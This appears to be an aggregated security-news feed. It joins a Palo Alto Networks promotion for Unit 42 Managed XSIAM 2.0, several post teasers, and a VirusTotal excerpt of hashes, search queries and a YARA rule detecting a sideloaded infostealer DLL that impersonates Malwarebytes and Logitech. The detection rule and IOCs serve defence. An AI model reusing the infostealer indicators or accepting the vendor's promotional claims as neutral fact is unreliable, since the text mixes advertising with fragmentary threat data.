And we stand behind our solution with a Breach Response Guarantee. If a complex incident strikes, you have the world’s best responders in your corner with up to 250 hours of Unit 42 Incident Response included. This built-in coverage removes the administrative hurdles of crisis response, enabling our experts to immediately transition from monitoring to deep forensic investigation and complete eradication, so you can focus on recovery. 

Proven in the Real World with the Green Bay Packers

Working with Unit 42 and the Cortex XSIAM platform, the Green Bay Packers modernized their security across a complex hybrid environment, demonstrating what Unit 42's managed services deliver in real-world operations. By consolidating telemetry and accelerating investigation and response, they reduced response times from hours to minutes, investigated 54% more alerts and saved over 120 hours of analyst time without adding headcount.

These outcomes reflect the key benefits of MSIAM: Unit 42 experts working to apply frontline intelligence as new attacker behavior emerges, translating it into reporting and tailored detections that improve response where it matters most. When a machine-speed platform is operated by experts handling real incidents every day, defenses continuously strengthen as threats evolve.

The Future of the SOC

Unit 42 MSIAM 2.0 helps your SOC operate as it should by combining AI-driven analytics and automation with expert-led operations and engineering. This combination provides teams with the confidence that their defenses are always on, always improving and ready when it matters most. That’s the SOC that security leaders need today, and the one we’re building for tomorrow.

MSIAM is now delivered through two service tiers, Pro and Premium. Organizations can start where they are and grow at their own pace. Pro provides AI-driven managed SOC operations with continuous detection, investigation and response. Premium extends into full-lifecycle SOC engineering, with designated experts and customized detections, automation and tailored response playbooks as your security maturity grows.

To learn more about Managed XSIAM 2.0, join us at Symphony 2026, a Palo Alto Networks premier virtual SOC event, where Unit 42 and Cortex^® experts will share frontline threat intelligence from the new 2026 Unit 42 Incident Response Report alongside real-world SOC transformation insights from organizations operating at machine speed.

The post Introducing Unit 42 Managed XSIAM 2.0 appeared first on Palo Alto Networks Blog.

Understanding how threat hunting differs from reactive security provides a deeper understanding of the role, while hinting at how it will evolve in the future.

The post Cyber Insights 2026: Threat Hunting in an Age of Automation and AI appeared first on SecurityWeek.

Introduction

Findings

behash:"4acaac53c8340a8c236c91e68244e6cb"

/api/v3/files/09a8b930c8b79e7c313e5e741e1d59c39ae91bc1f10cdefa68b47bf77519be57/execution_parents

signature:"Peastaking plenipotence ductileness chilopodous codicillary."

signature:"© 2026 Eosinophil LLC"

exports:15Mmm95ml1RbfjH1VUyelYFCf exports:2dlSKEtPzvo1mHDN4FYgv

behash:5ddb604194329c1f182d7ba74f6f5946

IOCs

import "pe"

rule win_dll_sideload_eosinophil_infostealer_jan26
{
  meta:
    author = "VirusTotal"
    description = "Detects malicious DLLs (CoreMessaging.dll) from an infostealer campaign impersonating Malwarebytes, Logitech, and others via DLL sideloading."
    reference = "https://blog.virustotal.com/2026/01/malicious-infostealer-january-26.html"
    date = "2026-01-16"
    behash = "4acaac53c8340a8c236c91e68244e6cb"
    target_entity = "file"
    hash = "606baa263e87d32a64a9b191fc7e96ca066708b2f003bde35391908d3311a463"
  condition:
    (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and pe.is_dll()) and
    pe.exports("15Mmm95ml1RbfjH1VUyelYFCf") and pe.exports("2dlSKEtPzvo1mHDN4FYgv")
}

By Troy Wojewoda During a recent Breach Assessment engagement, BHIS discovered a highly stealthy and persistent intrusion technique utilized by a threat actor to maintain Command-and-Control (C2) within the client’s […]

The post The Curious Case of the Comburglar appeared first on Black Hills Information Security, Inc..